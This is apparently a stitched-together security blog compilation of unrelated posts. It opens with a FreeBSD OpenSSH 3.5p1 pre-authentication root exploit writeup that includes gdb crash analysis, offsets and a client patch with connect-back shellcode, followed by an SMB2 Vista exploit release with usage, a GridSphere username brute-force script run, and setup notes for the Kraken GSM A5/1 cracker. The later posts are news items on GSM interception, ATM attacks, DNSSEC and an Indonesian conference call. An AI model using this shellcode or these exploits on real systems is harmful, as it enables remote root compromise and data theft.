The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the default install.  The sshd banner for 4.11-RELEASE is:
"SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and previous to authentication was developed.  The bug can be triggered both through ssh version 1 and ssh version 2 using a modified ssh client. During the investigation of the vulnerability it was found that the bug resides in the source code file “auth2-pam-freebsd.c”.

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit is from 7 years ago.  Specifically the bug follows a code path in the PAM Authentication Thread inside this source code, “pam_thread()”. It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam (ssh version 2) authentications go through this code path.  By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends on how the sshd is started. Starting the sshd from the console as root and running the ssh client with long username again reveals:

h4x# killall -9 sshd
h4x# /usr/sbin/sshd
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141:     Cannot access memory at address 0x41414141.

As you can see in the above gdb output we can control EIP completely. If someone finds out on what this behaviour depends, especially why EIP can be controlled when starting sshd in the console and can not be easily controlled when being run from the boot sequence, please drop me an email at isowarez.isowarez.isowarez (at) googlemail.com

Anyhow this procedure shows that the sshd can be exploited because the instruction pointer can be fully controlled.  The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client. Using a reverse shellcode it will spawn a rootshell.  Only one offset is needed, the position of the shellcode can be found the following way:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
>end
(gdb) x/10b $x

The printed address is the beginning of the shellcode nopsled.  Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.  It roughly does the following:

root@debian:~# ./ssh -1 192.168.32.138
root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=0(root) gid=0(wheel) groups=0(wheel)

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define       IPADDR  "\xc0\xa8\x20\x80"
> #define PORT  "\x27\x10"              /* htons(10000) */
>
> char sc[] =
>    "\x90\x90"
>    "\x90\x90"
>    "\x31\xc9"                 // xor    ecx, ecx
>    "\xf7\xe1"                 // mul    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x51"                     // push   ecx
>    "\xb0\x61"                 // mov    al, 97
>    "\xcd\x80"                 // int    80h
>    "\x89\xc3"                 // mov    ebx, eax
>    "\x68"IPADDR                       // push   dword 0101017fh
>    "\x66\x68"PORT             // push   word 4135
>    "\x66\x51"                 // push   cx
>    "\x89\xe6"                 // mov    esi, esp
>    "\xb2\x10"                 // mov    dl, 16
>    "\x52"                     // push   edx
>    "\x56"                     // push   esi
>    "\x50"                     // push   eax
>    "\x50"                     // push   eax
>    "\xb0\x62"                 // mov    al, 98
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xb0\x5a"                 // mov    al, 90
>    "\x49"                     // dec    ecx
>    "\x51"                     // push   ecx
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xe2\xf5"                 // loop   -10
>    "\x51"                     // push   ecx
>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
>    "\x89\xe3"                 // mov    ebx, esp
>    "\x51"                     // push   ecx
>    "\x54"                     // push   esp
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xb0\xc4\x34\xff"
>    "\xcd\x80";                // int    80h
>
679a730,737
>       char buffer[8096];
>
>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
>       memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
>       memset(buffer+24, '\x90', 5000);
>       memcpy(buffer+24+5000, sc, sizeof(sc));
>       server_user=buffer;
>
690a749
>

Download the SSH client patch here. Cheers

Kingcope

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.

Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876

RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:

http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:

http://www.exploit-db.com/sploits/smb2_exploit_release.zip

For your information, two days later at 19th August 2010, Kingcope released root exploit for FreeBSD 8.x and 7.x by poisoning mbufs() function. You may download Kingcope’s exploit here. Now happy exploiting while waiting “SAHUR” guys!

• Introduction to grid computing
• Grid computing scanning and enumeration
• Exploiting network and transport layer related to grid security
• Exploiting DNS to stop grid infrastructure trusteeship
• Exploiting web based – grid computing portal
• Cracking certificate authority pass phrase
• Exploiting headnode trusteeship using XML file

Some points mentioned can be exploited using existing network security tool while others are already supported by Grid Toolkit. Grid Toolkit uses python with some additional module which must be installed. The additional python module are:

• Module goto to support grid toolkit core program
• Module ClientForm to support grid portal guessing
• Module Paramiko to support certificate authority cracking

Grid toolkit supports to:

• Scanning and enumeration grid infrastructure
• Guessing login gridsphere – web based grid portal
• Cracking pass phrase of certificate authority private key file
• Exploiting headnode trusteeship using XML file

More reference about how to install and use this tool will be available soon, so just keep in touch with IPSECS. Finally you can download grid toolkit on gridtoolkit.sourceforge.net or reading python source code on core.ipsecs.com!

I am pleased to announce the first release of a A5/1 cracker capable
using the full Berlin set of rainbow tables for lookups. I have named
this beast Kraken, after a Norse mythological creature capable of eating
many things for breakfast. Kraken feeds of an exclusive diet of A5/1
encrypted data.

Currently only a bare bone functionality is present, but the UI will be
improved, with the specific goal of providing an easy to use tool for
cracking GSM intercepts. But setting up this Leviathan can a bit
cumbersome, so I will give a short howto here:

Prerequisites:

* Linux machine, multicore min 3GB RAM
* 1.7 - 2TB of HD partitions without filsystem ( ex Samsung spinpoint F3s,
  with 4k aligned start of partition )
* The Berlin A5/1 Rainbow table set
* GPU support will be added for ATI Radeon HD

Setup:

Find out how many tables you want on each partition, (usually roughly
equal on each) and make the initial configuration file. An example
configuration folder can be found in tinkering/A5Util/indexes. This
folder should contain a tables.conf file. The example files shows a
setup of 4 disk having 10 tables each. The index files for the various
tables will be added to the index folder as they are written to disk.
The first section of the config file needs to be set up with the list of
available partitions, and the number of tables that each partition
should hold. A single table needs 42GB of space. (Do NOT change the
order of this section)

For safety reasons it is best not to build the tables running as root.
The you will then have to make your table partitions user accessible.
Add a file such as 10-disk.rules in /etc/udev/rules.d with one line for
each partition:

KERNEL=="sda1", OWNER="frank"

Then manually change the ownership of the device nodes with chown. Take
care when doing this, as you do not want to nuke any of your system
partitions.

Add tables to your disk array:

First build and make a symlink from your index folder to the
TableConvert tool. It is assumed that the Berlin tables are available in
either SSD or index free delta format. The python script Behemoth.py
will recursively search for tables, and add them to the disk array and
configuration file as needed. (Duplicates will not be added) - This
operation(s) will take some hours to complete, but when done you should
end up with a tables.conf file listing ~40 tables, their advance
parameter (id), which device they reside on, and a block offset into the
device.

Build and fire up Kraken:

./kraken path_to_index_folder

Currently it will only load up all tables, and crack TDMA burst 998 for
the challenge data. This takes 1.5 minutes on a 4 core Phenom II using
only CPU power, and the output should look like:

Cracking
0011011100110000000010000011000110001001101101100110110100111100011010
10100100101111111010111100000110101001101011
Found de6bb5e60617f95c @ 12
Found 6fb7905579e28bfc @ 23

A more interactive UI with appropriate data formats (representations)
will be added for easy interfacing with airprobe. Optional GPU support
will also be added for faster cracking time.

cheers,
Frank

Source : http://lists.lists.reflextor.com/pipermail/a51/2010-July/000683.html

Well the article form http://computerworld.com is really nice to read!

The GSM technology used by the majority of the world’s mobile phones will get some scrutiny at next week’s Black Hat security conference, and what the security researchers there have to say isn’t pretty.

On Friday, an open source effort to develop GSM-cracking software released software that cracks the A5/1 encryption algorithm used by some GSM networks. Called Kraken, this software uses new, very efficient, encryption cracking tables that allow it to break A5/1 encryption much faster than before.

The software is key step toward eavesdropping on mobile phone conversations over GSM networks. Since GSM networks are the backbone of 3G, they also provide attackers with an avenue into the new generation of handsets.

In December, the group released a set of encryption tables designed to speed up the arduous process of breaking A5/1 encryption, but the software component was incomplete. Now the software is done, and the tables are much more efficient than they were seven months ago. “The speed of how fast you could crack a call is probably orders of magnitude better than anything previously,” said Frank Stevenson, a developer with the A5/1 Security Project. “We know we can do it in minutes; the question is, can we do it in seconds?”

As the software becomes more polished it will make GSM call eavesdropping practical. “Our attack is so easy to carry out, and the cost of attack is lowered so significantly, that there is now a real danger of widespread intercepting of calls,” Stevenson said.

Stevenson and his co-developers haven’t put together all the components someone would need to listen in on a call — that would be illegal in some countries. Someone must still develop the radio listening equipment needed to gain access to the GSM signal, but that type of technology is within reach. Stevenson believes that this could be done using an inexpensive mobile phone and a modified version of open-source software called OsmocomBB. Hackers could also use a more-expensive Universal Software Radio Peripheral (USRP) device in conjunction with another program, called Airprobe.

A5/1 Security Project leader Karsten Nohl will discuss the hardware and software setup for his project’s GSM cracking tools at next week’s conference.

Last year there were about 3.5 billion GSM phones in use, according to data from the GSM Association. Not all of these phones are on networks that use A5/1 encryption — some use the more-secure A5/3 algorithm; others use no encryption — but a sizeable percentage are.

In the U.S., both AT&T and T-Mobile operate GSM networks.

The trade group that represents GSM network operators and equipment manufacturers, the GSM Association, has said in the past that A5/1 cracking efforts such as this are interesting, but attacks are extremely difficult to pull off in the real world. Intercepting mobile phone calls is illegal in many countries, including the U.S. The GSM Association did not respond to messages seeking comment for this story.

Project developers say the point of their work is to show how easy it really would be to crack A/51 — something they say that grey market commercial products are already doing. According to Stevenson many of these security problems are solved in next-generation mobile network technologies such as 3G and LTE (Long Term Evolution).

However, even 3G phones can be compromised because they can roll back to GSM mode when a 3G network is not available. “You can choose to operate in 3G mode only, but then you will have very limited coverage,” Stevenson said. “GSM has become the Achilles Heel of 3G security.”

Meanwhile, another Black Hat presenter, Chris Paget plans to demonstrate a completely different way to intercept GSM calls. He’s setting up a fake cellular tower that masquerades as a legitimate GSM network.

According to Paget, using open-source tools and a US$1,500 USRP radio, he can assemble his fake tower, called an IMSI (International Mobile Subscriber Identity) catcher. In a controlled experiment, he’s going to set one up at Black Hat and invite audience members to connect their mobile phones. Once a phone has connected, Paget’s tower tells it to drop encryption, giving him a way of listening in on calls.

“I think there’s been too much focus on the cryptographic weaknesses in GSM,” he said. “People need to recognize that the cryptographic weaknesses are not the worst weaknesses in GSM. “

GridSphere which is critically uses to access grid resource is found to be vulnerable that can be exploited to enumerate a user is valid or not in grid. This vulnerability exist due to the response of gridsphere in handling in-exist user with “User does not exist“. To exploit this issue, you can use this python script.

python gridsphere-brute.py https://example.com/acgt/portal?cid=login users.txt

[INVALID] anto
[INVALID] abc
[INVALID] betha
[INVALID] een
[INVALID] nita
[INVALID] aris
[INVALID] atik
[INVALID] babas
[INVALID] alex
[OK] admin
[INVALID] fuck
[INVALID] lisa
[INVALID] ifa
[INVALID] hana
[INVALID] bram

IPSECS has developed some tools to assess grid computing security years ago which can be download here. The tools is encoded in ASCII and bundled with article which explains grid computing [in]security written in indonesian. The tools provided can be used to:

• Enumerate headnode by identifying GridFTP Service and Web Service Container
• Crack private key in Certificate Authority
• Exploit others headnode in grid when a headnode and its certificate compromised.

For your information, currently IPSECS is developing grid-toolkit to make grid computing penetration much more easier.

IPSECS, unofficially releases his IPv6 Hackit on sourceforge and papers which nearly complete explains IPv6 exploitation. His papers content of :

• Introduction to IPv6
• Connecting to IPv6 Backbone (IPv6-in-IPv4 Tunneling using TSP)
• An Introduction to IPv6 Socket Programming
• IPv6 Discovery & Scanning (via ICMP, TCP, DNS)
• Writing IPv6 Remote Exploit & Shellcoding (Stack Based Buffer Overflow, Format String)
• IPv6 Protocol Vulnerability (Man In The Middle, Denial of Service)

You can freely download this paper on core.ipsecs.com written in Indonesian. IPSECS wrote IPv6-Hackit using Perl Scripting Language which means that the tools don’t need to be compiled. Somehow, this tool needs some perl module to be installed:

• strict
• warnings
• Switch
• English
• Net::DNS
• POSIX
• Getopt::Long
• LWP::UserAgent
• HTTP::Message
• IO::Socket::INET6

This tool supports to do:

• Hosts Enumeration finding which host is up/down.
• TCP Port scanning to find which port is open/close.
• Googling via unix shell to find possible IPv6 domains.
• Finding AAAA IPv6 host record from single or massive collected domains.
• Getting shell from IPv6 binding shellcode/payload.
• Getting shell from IPv6 reverse shellcode/payload.
• Exploiting simple IPv6 application weakness (currently this module is still developed)
• IPv6 Binding backdoor with authentication (currently this module is still developed)

You can easily download this IPv6 Hackit on ipv6hackit.sourceforge.net. Meanwhile you play this tools and read the paper, now we develope grid-toolkit to be released soon. So just follow and watch this website, IPSECS just gives best stuff to play with! Finally enjoy guys!

He plans to give the talk, entitled “Jackpotting Automated Teller Machines,” at the Black Hat Las Vegas conference, held July 28 and 29.

Jack will demonstrate several ways of attacking ATM machines, including remote, network-based attacks. He will also reveal a “multi-platform ATM rootkit,” and will discuss things that the ATM industry can do to protect itself from such attacks, he writes in his description of the talk, posted this week to the Black Hat Web site.

Jack was set to discuss ATM security problems at last year’s conference, but his employer, Juniper Networks, made him pull the presentation after getting complaints from an ATM maker that was worried that the information he had discovered could be misused.

The security researcher found a straightforward way of getting around Juniper’s objections, however. Last month, he took a new job as director of security research with IOActive.

ATM machines do get compromised, but in a roundabout way. Thieves often hit them by installing card skimmers on them to extract magnetic stripe data from the cards. Then, using a hidden video camera, they steal login numbers. Using all of this information, the crooks can build their own duplicate cards and empty bank accounts.

But Jack’s talk looks at a new area: bugs in the software used to run the machines.

He’s taken advantage of the extra year provided by Juniper’s ban to do more research. “Last year, there was one ATM; this year, I’m doubling down and bringing two new model ATMs from two major vendors,” Jack says in his talk description. The security researcher couldn’t immediately be reached for comment.

Jack doesn’t say which ATMs he plans to discuss, but it could be any major vendor, according to Black Hat Director Jeff Moss. “He’s got a living room full of a lot of different brands of ATMs, and they all seem to suffer from one or the other problem,” he said.

ATMs haven’t received a lot of serious scrutiny by security researchers, so Jack’s talk will break new ground, Moss said. “Apparently you can make all the money come out,” he said.

Source: www.networkland.com

Most fearsome statement from the author of the exploit is that about wormable remote code execution in PHPNuke. Since PHPNuke is one of the most popular CMS used by many webmasters, then how many sites will be compromised? Well then, just take the proof of concept here.

Network administrators are being encouraged to run some last minute checks on their DNS servers, routers and firewalls before the final cluster of the internet’s root servers are loaded up with the DNSSEC security upgrade tomorrow night.

As reported late last week on iTnews.com.au, from May 5 the DNSSEC upgrade will attach a digital signature to every response from the root servers where the DNS resolver is configured to request signed answers (via setting the DO bit in the Extensions to DNS – EDNS settings) to requests for an internet page, in order to provide an additional layer of assurance for internet users that they are connecting to the correct page.

Concerns have been raised that the upgrade might cause some problems for network administrators working with older networking equipment that is preconfigured to either not accept DNS responses over 512 bytes or not accept DNS responses split into several packets using the TCP protocol.

ICANN’s latest update on the upgrade, released yesterday, confirmed that root server cluster ‘J-Root’ is the last of 13 root server clusters to transition to DNSSEC on May 5 at 1700 – 1900 UTC.

ICANN said that “no harmful effects” have been identified from the 12 root server clusters upgraded to date.

But observers are nonetheless recommending network administrators run a series of final checks using the following tools:

- A reply-size test available at DNS-OARC:
https://www.dns-oarc.net/oarc/services/replysizetest

- Ripe Labs’ ‘Test your DNS Resolver’
http://labs.ripe.net/content/testing-your-resolver-dns-reply-size-issues

- iTnews readers have also recommended an automated tool developed by the University of California at Berkeley and Microsoft’s guide to DNSSEC on Windows Server 2008 R2.

Advice for corporate networks

Melbourne IT chief strategy officer and ICANN board member Bruce Tonkin recommends that network operators and DNS managers review configuration settings on networking equipment – checking whether their equipment can handle DNS requests with larger packet sizes than 512 bytes or requests sent in multiple packets via the TCP protocol.

Operators should also ”consider whether changes to UDP packet size limits will improve overall performance, and consider whether DNS resolvers should be configured to request the DNSSEC information or not in the short term,” Tonkin said.

Internode network engineer  Mark Newton recommended in a company blog that firewall administrators ensure the company’s firewall is permitting DNS over TCP/53, and that fragmented DNS responses over UDP or TCP aren’t blocked.

Should tests using the tools listed above fail, Newton asks that administrators consider a firmware upgrade.

“Read-up on the nature of the problem, and understand that TCP/53 has always been a valid part of the DNS protocol, and that blocking it isn’t industry best practice, it’s a configuration error,” Newton said.

Checklist for ISP subscribers

By and large, internet service providers are expected to have prepared for the DNSSEC upgrade.

Australia’s largest ISP, Telstra, said it “supported the introduction of DNSSEC” and did not anticipate customers would suffer any connectivity issues on May 5.

Primus, also queried as to whether its DNS servers were prepared, was also confident the upgrade will prove smooth sailing for its subscribers.

“Be assured we have taken steps to ensure there will be no issues for customers,” said Ravi Bhatia, CEO at Primus.

Internode has investigated its own systems and expects to be fully compliant with DNSSEC.

But whilst assuring that “the overwhelming majority of customers won’t notice anything”, Newton took a measured approach.

“Our customer service staff will try their best to assist people with DNS problems after May 5th, but please understand that it’s possible that any problems you experience may be caused by deficiencies in your own equipment,” Newton said in a company blog.

“Although it’s very unlikely, it remains possible that you’ll need to purchase a new firewall or a new ADSL modem after May 5 if your current equipment is old enough to have problems which haven’t been fixed by the vendor because they’re no longer offering support for your product.”

Customers with ADSL modems that stop working correctly after May 5 should also consider a firmware upgrade, Newton said.

“If that doesn’t help, try disabling your ADSL modem’s DNS proxy, which will cause you to use our DNS servers (which we’ve tested with DNSSEC) instead of your ADSL modem’s possibly-faulty built-in DNS server.”

Source : http://www.itnews.com.au/News/173746,last-minute-checks-for-dnssec-upgrade.aspx

* Web hacking
* Wireless hacking
* Metode Penetration testing
* Forensic dan Anti Forensic
* Kriptografi
* Fuzzing
* Exploit writing
* System hardening
* Lock Picking
* Open Hardware Implementation

Jika anda memiliki judul paper diluar cakupan topik diatas, kami masih terbuka untuk mempertimbangkannya selama masih berkaitan dengan security.

Format paper adalah file Open Office Writer dengan ukuran halaman “Letter” Gambar bisa langsung disisipkan ke dalam dokumen atau dibuat terpisah. Format gambar adalah PNG dengan ukuran dimensi maksimal (lebar x tinggi ) 640 x 480 pixel dengan resolusi 72 pixel per inch. Jika nama file dipisahkan, mohon nama file dirujuk dari naskah. Setiap gambar harap disertai keterangan secukupnya.

Naskah yang dikirimkan juga sudah harus mencakup:

# Nick, email dan nomer telepon yang bisa dihubungi
# Biografi singkat, afiliasi, dan achievement (Maksimal 250 Kata).
# Rangkuman dari Persentasi (Abstraksi)(Maksimal 1250 Kata)
# Peralatan Pendukung yang dibutuhkan (video, internet, wireless, audio, etc.)
# Durasi yang di butuhkan (60 menit, 90 menit, 120 menit)

Pengiriman naskah ditujukan ke e-mail address: submitHAPUSHURUFBESAR@idsecconf.org dan
diterima paling lambat Jumat, 18 September 2009.

Keputusan penerimaan atau penolakan paper adalah sepenuhnya wewenang komite idsecconf 2009 dan tidak bisa diganggu gugat. Bagi yang papernya diterima, akan menerima pemberitahuan tertulis lewat e-mail untuk persiapan presentasi on-stage pada acara idsecconf 2009.

Kami tunggu partisipasi anda semuanya!

salam,

komite idsecconf 2009